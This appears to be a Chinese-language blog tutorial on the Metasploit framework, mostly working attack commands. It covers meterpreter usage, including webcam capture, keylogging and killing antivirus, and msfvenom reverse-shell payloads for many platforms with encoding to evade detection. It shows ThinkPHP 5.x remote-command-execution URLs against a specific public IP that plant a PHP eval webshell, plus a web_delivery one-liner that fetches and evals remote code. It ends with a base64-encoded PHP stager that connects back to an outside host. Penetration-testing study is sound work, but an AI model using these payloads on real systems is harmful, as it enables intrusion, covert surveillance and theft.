Metasploit渗透测试框架

Metasploit简介

Metasploit 是The Metasploit framework的简称,框架由多个module组成
是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的漏洞,并持续保持更新。
metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。
Kali-metasploit框架目录路径:/usr/share/metasploit-framework
Metasploit目录
data :包含 metasploit 用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
documentation :包含框架的可用文档。
lib metasploit 的库文件夹。
plugins :用来存放 metasploit 的插件。
scripts :用来存放 metasploit 的脚本,包括 meterpreter 及其它脚本。
tools :存放多种的命令行实用程序。
modules :存储 metasploit 的模块文件。
Modules目录
Msf所有的漏洞测试都是基于模块
auxiliary :辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
exploits :漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命 名规则: 操作系统 / 各种应用协议分类
payloads :攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹 shell 的代码
post :后渗透阶段模块,漏洞利用成功获得 meterpreter 之后,向目标发送的一些功能性指令,如:提权等
encoders :编码器模块,主要包含各种编码工具,对 payload 进行编码加密,以便绕过入侵检测和过滤系统
evasion :躲避模块,用来生成免杀 payload
nops :空指令就是空操作,提高 paylaod 稳定性及维持大小

Metasploit模块使用

Msfconsole

Msfconsole是Metasploit框架用户接口,我们能通过Msfconsole接口使用Metasploit中所有模块

Msfconsole主要用于:

1.管理Metasploit数据库
2.管理会话 3.配置启动Metasploit模块

启动方式:

kali终端输入: msfconsole

kali-metasploit更新:

msfconsole -v # 查看版本
apt-get update
apt-get install metasploit-framework

msfconsole基础使用

help :该命令允许用户查看执行命令的帮助信息。
use module :该命令允许用户加载选择的模块。
set optionname module :该命令允许用户为模块设置不同的选项。
run&exploit :运行一个模块
search :搜索 msf 中相关组件
exit :该命令允许用户退出 msfconsole

MSF常用命令

show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
[show ]options/advanced – 查看该模块可用选项
show payloads – 查看该模块适用的所有载荷代码 show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 使用某渗透攻击模块
back – 回退
set/unset – 设置 / 禁用模块中的某个参数
setg/unsetg – 设置 / 禁用适用于所有模块的全局参数

环境演练

某天你领导需要你对公司新买的服务器进行漏洞测试
结合metasploit我们应该怎么做?

信息收集

通过nmap对目标进行漏洞探测及端口扫描

nmap 扫描
-T[0-5] :默认为 T3 T4 表示最大 TCP 扫描延迟为 10ms
-sS TCP SYN 扫描
-sA TCP ACK 扫描
-sT TCP 扫描
-A :打开操作系统探测和版本探测。
--script=vuln :检查是否具有常见漏洞

Auxiliary模块

Exploit模块

Meterpreter扩展模块

Meterpreter介绍

meterpreter是一个高级、动态、可扩展的payload,简单理解是一个高级的CMD,里面封装了Metasploit的
功能

如何进入Meterpreter

background :将当前 session 挂起
sessions[ -l] :列出当前所有的 session
sessions[ -i] id :进入某个 session 如何开启对方摄像头呢???

开启摄像头

开启摄像头需要拥有meterpreter
webcam_list :查看摄像头 webcam_snap :通过摄像头拍照 webcam_stream :通过摄像头开启视频
得到的shell不是meterpreter怎么办??

Shell转meterpreter

sessions –u id:将某个session转为meterpreter

Meterpreter基本利用

上传 执行 下载 execute :在目标机器执行文件
创建新进程 cmd.exe -H 不可见, -i 交互
Upload: 上传文件
Download: 下载文件

Meterpreter常用命令

meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > sysinfo 系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行 shell (exit 退出 )
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter> keyscan_start 开启键盘记录
start 改为 stop 则为关闭
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传 文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序 / 命令
meterpreter > ps 查看进程
meterpreter > getuid 查看当前用户权限 meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面

Msfvenom生成Payload

Msfvenom msfvenom是msfpayload和msfencode的组合。将这两个工具集成在一
个框架实例中。
msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听上线,获得meterpreter

Msfvenom常用参数

-p --payload ,指定特定的 Payload ,如果被设置为 - ,那么从标准输入流中读取。几乎支持全平台。
-l --list ,列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
-n --nopsled ,指定 nop payload 中的数量
-f --format ,指定 Payload 的输出格式( --list formats :列出所有可用的输出格式)
-e --encoder ,指定使用的 encoder
-a --arch ,指定目标系统架构
--platform :指定目标系统平台
-s --space ,设置未经编码的 Payload 的最大长度( --encoder-space :编码后的 Payload 的最大长度)
-b --bad-chars ,设置需要在 Payload 中避免出现的字符,例如: ’\0f’ ’\x00’
-i --iterations ,设置 Payload 的编码次数
--smallest :尽可能生成最短的 Payload
-o --out ,保存 Payload 到文件

Msfvenom生成windows可执行程序

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=5445 –e x86/shikata_ga_nai
–i 8 -f exe -o hello.exe
X86/shikata_ga_nai 是指定对 shellcode 的编码方法,编码随机生成
-i 8 是指定编码次数

Msfconsole开启监听

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.40.132
msf6 exploit(multi/handler) > set lport 5445
msf6 exploit(multi/handler) > run Msfvenom生成web payload
php
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f
raw >shell.php
asp
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address>
LPORT= <Your Port to Connect On> -f aspx - o shell.aspx
jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f
raw >shell.jsp
war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f
war > shell.war

web payload如何使用

msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.40.151 lport=5000 -f raw –o
/root/Desktop/shell.php

Msfvenom生成脚本payload

python
msfvenom -p python/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On>
-f raw > shell.py
bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw
> shell.sh
perl msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw >
shell.pl
脚本payload上线

Stageless&staged payload

/meterpreter/reverse_tcp 和 /meterpreter_reverse_tcp区别
payload分为staged和stageless:
Staged payload: <platform>/[arch]/<stage>/<stager>
Staged Meterpreter负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,如:
reverse_tcp、 bind_tcp
Stageless payload: <platform>/[arch]/<single>
Stageless Meterpreter是一个二进制文件,包含Meterpreter的所有必需部分以及所有必需的扩展,全部捆绑
在 一起,将完整的payload都编译在木马中,体积庞大
Staged只建立连接并接受payload而stageless之间省去了接受payload的步骤

Metasploit实战攻击

目标站点:

http://47.115.9.13:8081/

利用方式

ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)
http://47.115.9.13:8081/s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://47.115.9.13:8081/s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1]
[]=shell.php&vars[1][]=%3C?php%20@eval($_POST[ccc]);?%3E

如何反弹MSF

方法一:通过web站点,使用无文件的方式攻击利用执行
方法二:通过web站点,上传webshell,返回给msf

反弹shell

利用命令执行漏洞,结合上一章的知识,我们可以怎么做?
php:
msfvenom-p php/meterpreter/reverse_tcp. LHOST=<Your lP Address> LPORT=<Your Port toConnect On> -f
raw >shell.php
asp:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp. LHOST=<Your IPAddress>
LPORI= <Your Port to Connect On> -f aspx - o shell.aspx.
jsp:
msvenom -p java/isp_shell reverse_tcp HOST=<Your lP Address> PORT=<Your Port toConnect On> -f raw
> shell.jsp
war:
msfvenom -p java/jsp_shell reverse_tcp LHOST=<Your lP Address> LPORT=<Your Port toConnect On> -f
war > shell.war

Web_delivery

当攻击者拥有部分受害者主机的控制权,但还没有拿到一个完整的shell时,web_delivery就派上用场
web_delivery的主要目的是快速和受害者主机建立一条session。当受害者主机存在比如命令注入、远程命令执行等问题时,攻击者可以使用web_delivery生成的一条命令建立连接。
php -d allow_url_fopen=true -r "eval(file_get_contents(' http://192.168.8.186:8080/sOjTAmv ', false,
stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"
另外 web_delivery的payload不会在受害者主机磁盘上写文件,而是直接将攻击者服务器上的代码加载到内存执行,有利于绕过检测
web_delivery支持php/python/powershell等多种脚本,使用不同的脚本的payload时需要通过set target 0或1或2来设置是使用php还是python还是powershell等。
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set uripath /
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set target 1
msf6 exploit(multi/script/web_delivery) > set lhost 150.158.137.72 msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 7.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Using URL: http://0.0.0.0:8181/
[*] Local IP: http://150.158.137.72:8181/
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://150.158.137.72', false,
stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

脚本payload利用

Msfvenom –p php/meterpreter/reverse_tcp lhost=<you host> lport<you port> -f raw > xx.php
http://150.158.137.72:8081/?
s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20-
n%20Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE1MC4xNTguMTM3LjcyJzsgJHBvcnQgPSA5OTk4Oy
BpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3sk
aXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2
NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYg
PSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0
xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190
eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaW
UoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBi
cmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZS
gpOyB9ICRhID0gdW5wYWNrKCJObGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4o
JGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybG
VuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJl
YWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIC
hleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkg
eyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygpOyB9IGVsc2UgeyBldm
FsKCRiKTsgfSBkaWUoKTs=Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE1MC4xNTguMTM3LjcyJzsg
JHBvcnQgPSA5OTk4OyBpZiAoKCRmID0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID
0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nr
b3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaW
YgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNP
Q0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgey
BkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0g
aWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZn
JlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYg
KCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNrKCJObGVuIiwgJGxlbik7ICRsZW4gPSAkYVsnbGVuJ107ICRiID0gJyc7IH
doaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQo
JHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbi1zdH
JsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9
ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaX NhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFzcygp
OyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs=%20|base64 -d > yiye.php
生成linux的可执行文件elf格式
msfvenom –p linux/x64/meterpreter/reverse_tcp lhost=<you host> -p <you port> –f elf –o xx.elf

通过webshell上传可执行文件

msfvenom –p linux/x64/meterpreter/reverse_tcp lhost=<you host> -p <you port> –f elf –o xx.elf 上传至目标运行
更改权限
运行文件,本地监听
  • 16
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安+硬件

生活不易,但愿极客精神与你同在

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值